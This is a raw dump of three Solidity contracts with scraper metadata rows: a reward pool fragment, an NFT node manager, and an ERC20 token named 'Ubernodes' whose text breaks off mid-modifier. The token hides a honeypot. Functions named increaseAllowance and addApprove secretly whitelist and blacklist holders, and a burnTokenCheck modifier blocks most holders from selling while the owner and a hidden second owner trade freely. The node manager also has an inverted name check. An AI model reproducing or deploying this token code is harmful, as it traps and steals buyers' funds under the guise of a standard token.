event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _bomb, uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_bomb != address(0)) bomb = IERC20(_bomb);
poolStartTime = _poolStartTime;
epochEndTimes[0] = poolStartTime + 4 days; // Day 2-5
epochEndTimes[1] = epochEndTimes[0] + 5 days; // Day 6-10
epochUnitePerSecond[0] = epochTotalRewards[0].div(4 days);
epochUnitePerSecond[1] = epochTotalRewards[1].div(5 days);
epochUnitePerSecond[2] = 0;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "UniteRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "UniteRewardPool: existing pool?");
}
}
// Add a new token to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted = (_lastRewardTime <= poolStartTime) || (_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({token: _token, allocPoint: _allocPoint, lastRewardTime: _lastRewardTime, accUnitePerShare: 0, isStarted: _isStarted}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's UNITE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _fromTime to _toTime.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
for (uint8 epochId = 2; epochId >= 1; --epochId) {
if (_toTime >= epochEndTimes[epochId - 1]) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _toTime.sub(_fromTime).mul(epochUnitePerSecond[epochId]);
}
uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochUnitePerSecond[epochId]);
if (epochId == 1) {
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochUnitePerSecond[0]));
}
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_fromTime >= epochEndTimes[epochId - 1]) {
return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochUnitePerSecond[epochId]));
}
_generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochUnitePerSecond[epochId]));
}
return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochUnitePerSecond[0]));
}
}
return _toTime.sub(_fromTime).mul(epochUnitePerSecond[0]);
}
// View function to see pending UNITEs on frontend.
function pendingUNITE(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accUnitePerShare = pool.accUnitePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _bombReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accUnitePerShare = accUnitePerShare.add(_bombReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accUnitePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _bombReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accUnitePerShare = pool.accUnitePerShare.add(_bombReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accUnitePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeUniteTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accUnitePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accUnitePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeUniteTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accUnitePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe bomb transfer function, just in case if rounding error causes pool to not have enough UNITEs.
function safeUniteTransfer(address _to, uint256 _amount) internal {
uint256 _bombBal = bomb.balanceOf(address(this));
if (_bombBal > 0) {
if (_amount > _bombBal) {
bomb.safeTransfer(_to, _bombBal);
} else {
bomb.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 amount,
address to) external onlyOperator {
if (block.timestamp < epochEndTimes[1] + 30 days) {
// do not allow to drain token if less than 30 days after farming
require(_token != bomb, "!bomb");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "!pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 262,206 | 11,210 |
b6895acea96194c249550c695c1c7e5f319d0b5c539d97210d5d419d5c4fa6ab
| 33,094 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/29/29e4B9865f2184EE75f3a819a967828F178001a3_NodeManager.sol
| 4,930 | 19,703 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is TKNaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
contract NodeManager is Ownable, IERC721, IERC721Metadata {
using SafeMath for uint256;
using Address for address;
struct Node {
string name;
string metadata;
uint64 mint;
uint64 claim;
uint64 id;
uint64 earned;
}
mapping(address => uint256) private _balances;
mapping(uint64 => address) private _owners;
mapping(uint64 => Node) private _nodes;
mapping(address => uint64[]) private _bags;
mapping(uint64 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
uint64 public price = 10;
uint64 public reward = 1 * 1000;
uint128 public claimTime = 3600 * 24;
string public defaultUri = "";
uint256 public nodeCounter = 0;
modifier onlyIfExists(uint64 _id) {
require(_exists(_id), "ERC721: operator query for nonexistent token");
_;
}
function totalNodesCreated() view external returns (uint) {
return nodeCounter;
}
function addNode(address account, uint amount, uint _claim) onlyOwner external {
for (uint256 i = 0; i < amount; i++) {
uint64 nodeId = uint64(nodeCounter + 1);
_nodes[nodeId] = Node({
name: "V1 NODE",
mint: 1639339200,
claim: uint64(_claim),
id: nodeId,
earned: 2,
metadata: ""
});
_owners[nodeId] = account;
_balances[account] += 1;
_bags[account].push(nodeId);
nodeCounter = nodeCounter + 1;
emit Transfer(address(0), account, nodeId);
}
}
function createNode(address account, string memory nodeName) onlyOwner external {
require(keccak256(bytes(nodeName)) == keccak256(bytes("V1 NODE")), "MANAGER: V1 NODE is reserved name");
uint64 nodeId = uint64(nodeCounter + 1);
_nodes[nodeId] = Node({
name: nodeName,
mint: uint64(block.timestamp),
claim: uint64(block.timestamp),
id: nodeId,
earned: 0,
metadata: ""
});
_owners[nodeId] = account;
_balances[account] += 1;
_bags[account].push(nodeId);
nodeCounter = nodeCounter + 1;
emit Transfer(address(0), account, nodeId);
}
function claim(address account, uint64 _id) external onlyIfExists(_id) onlyOwner returns (uint) {
require(ownerOf(_id) == account, "MANAGER: You are not the owner");
Node storage _node = _nodes[_id];
uint interval = (block.timestamp - _node.claim) / claimTime;
uint rewardNode = (interval * reward) / 1000;
if(rewardNode > 0) {
_node.earned = uint64(_node.earned + rewardNode);
_node.claim = uint64(block.timestamp);
return rewardNode * 10 ** 18;
} else {
return 0;
}
}
function getRewardOf(uint64 _id) public view onlyIfExists(_id) returns (uint) {
Node memory _node = _nodes[_id];
uint interval = (block.timestamp - _node.claim) / claimTime;
return (interval * reward * 10 ** 18) / 1000;
}
function getNameOf(uint64 _id) public view onlyIfExists(_id) returns (string memory) {
return _nodes[_id].name;
}
function getMintOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].mint;
}
function getClaimOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].claim;
}
function getEarnedOf(uint64 _id) public view onlyIfExists(_id) returns (uint64) {
return _nodes[_id].earned * 10 ** 18;
}
function getNodesIdsOf(address _account) public view returns (uint64[] memory) {
return _bags[_account];
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function getNodesStringOf(address _account) external view returns (string memory) {
uint64[] memory bags = _bags[_account];
string memory separator = "#";
string memory divider = ".";
string memory _nodesString = "";
for (uint256 i = 0; i < bags.length; i++) {
Node memory _node = _nodes[bags[i]];
string memory _newline = string(abi.encodePacked(uint2str(_node.id),divider,_node.name,divider,uint2str(_node.mint),divider,uint2str(_node.claim),divider,uint2str(_node.earned)));
if(i == 0) {
_nodesString = _newline;
} else {
_nodesString = string(abi.encodePacked(_nodesString,separator,_newline));
}
}
return _nodesString;
}
function _changeNodePrice(uint64 newPrice) onlyOwner external {
price = newPrice;
}
function _changeRewardPerNode(uint64 newReward) onlyOwner external {
reward = newReward;
}
function _changeClaimTime(uint64 newTime) onlyOwner external {
claimTime = newTime;
}
function _setTokenUriFor(uint64 nodeId, string memory uri) onlyOwner external {
_nodes[nodeId].metadata = uri;
}
function _setDefaultTokenUri(string memory uri) onlyOwner external {
defaultUri = uri;
}
function remove(uint64 _id, address _account) internal {
uint64[] storage _ownerNodes = _bags[_account];
for (uint256 i = 0; i < _ownerNodes.length; i++) {
if(_ownerNodes[i] == _id) {
delete _ownerNodes[i];
return;
}
}
}
function name() external override pure returns (string memory) {
return "Secrets";
}
function symbol() external override pure returns (string memory) {
return "Secrets";
}
function tokenURI(uint256 tokenId) external override view returns (string memory) {
Node memory _node = _nodes[uint64(tokenId)];
if(bytes(_node.metadata).length == 0) {
return defaultUri;
} else {
return _node.metadata;
}
}
function balanceOf(address owner) public override view returns (uint256 balance){
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public override view onlyIfExists(uint64(tokenId)) returns (address owner) {
address theOwner = _owners[uint64(tokenId)];
return theOwner;
}
function safeTransferFrom(address from, address to, uint256 tokenId) external override {
safeTransferFrom(from, to, tokenId, "");
}
function transferFrom(address from, address to,uint256 tokenId) external override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function approve(address to, uint256 tokenId) external override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public override view onlyIfExists(uint64(tokenId)) returns (address operator){
return _tokenApprovals[uint64(tokenId)];
}
function setApprovalForAll(address operator, bool _approved) external override {
_setApprovalForAll(_msgSender(), operator, _approved);
}
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function supportsInterface(bytes4 interfaceId) external override pure returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId;
}
function _transfer(address from,
address to,
uint256 tokenId) internal {
uint64 _id = uint64(tokenId);
require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[_id] = to;
Node storage _node = _nodes[_id];
_node.earned = 0;
_bags[to].push(_id);
remove(_id, from);
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal {
_tokenApprovals[uint64(tokenId)] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view onlyIfExists(uint64(tokenId)) returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[uint64(tokenId)] != address(0);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
}
| 74,289 | 11,211 |
1eb830997ee6ef0654f374f100ebf46aacf5d796230986aa1a0b3dd90cc70f09
| 30,019 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9b/9b43F7Ee2A948d53Cd33077678e869156963C113_Ubernodes.sol
| 3,394 | 12,614 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ubernodes is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
